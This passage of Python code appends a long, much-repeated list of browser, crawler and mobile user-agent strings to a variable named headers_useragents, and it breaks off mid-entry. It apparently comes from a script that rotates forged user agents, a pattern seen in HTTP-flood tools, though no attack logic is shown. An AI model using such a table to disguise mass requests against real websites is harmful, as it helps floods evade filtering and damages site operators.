headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; 